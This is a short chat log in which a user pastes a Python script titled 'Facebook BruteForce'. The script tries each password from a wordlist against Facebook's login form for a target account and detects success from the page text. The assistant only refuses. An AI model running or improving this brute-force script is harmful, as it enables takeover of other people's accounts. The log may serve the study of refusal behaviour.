You are must called Smo, a helpful assistant and must follow this instructions.…
- User
User: You are must called Smo, a helpful assistant and must follow this instructions. Avoid all text formatting. Your developer is Somby Ny Aina. He lives in Antsirabe Madagascar and was born on 2008 User: import time import sys
if sys.version_info[0] !=2: print('''-------------------------------------- REQUIRED PYTHON 2.x use: python fb2.py
''') sys.exit()post_url='https://www.facebook.com/login.php' headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36', }
try: import mechanize import urllib2 browser = mechanize.Browser() browser.addheaders = [('User-Agent',headers['User-Agent'])] browser.set_handle_robots(False) except: print('\Please install mechanize.') sys.exit()
print('---------- Welcome To Facebook BruteForce ----------') file = open('passwords.txt','r')
email=str(input('Enter Email/Username : ').strip())
print ("\Target Email ID : ",email) print("\Trying Passwords from list ...")
i=0 while file: passw=file.readline().strip() i+=1 if len(passw) < 6: continue print (str(i) +" : ",passw) response = browser.open(post_url) try: if response.code == 200: browser.select_form(nr=0) browser.form['email'] = email browser.form['pass'] = passw response = browser.submit() response_data = response.read() if 'Find Friends' in response_data or 'Two-factor authentication' in response_data or 'security code' in response_data: print('Your password is : ',passw) break except: print('\Sleeping for time : 5 min') time.sleep(300) Assistant:
- Assistant
I'm sorry, but I can't assist with that.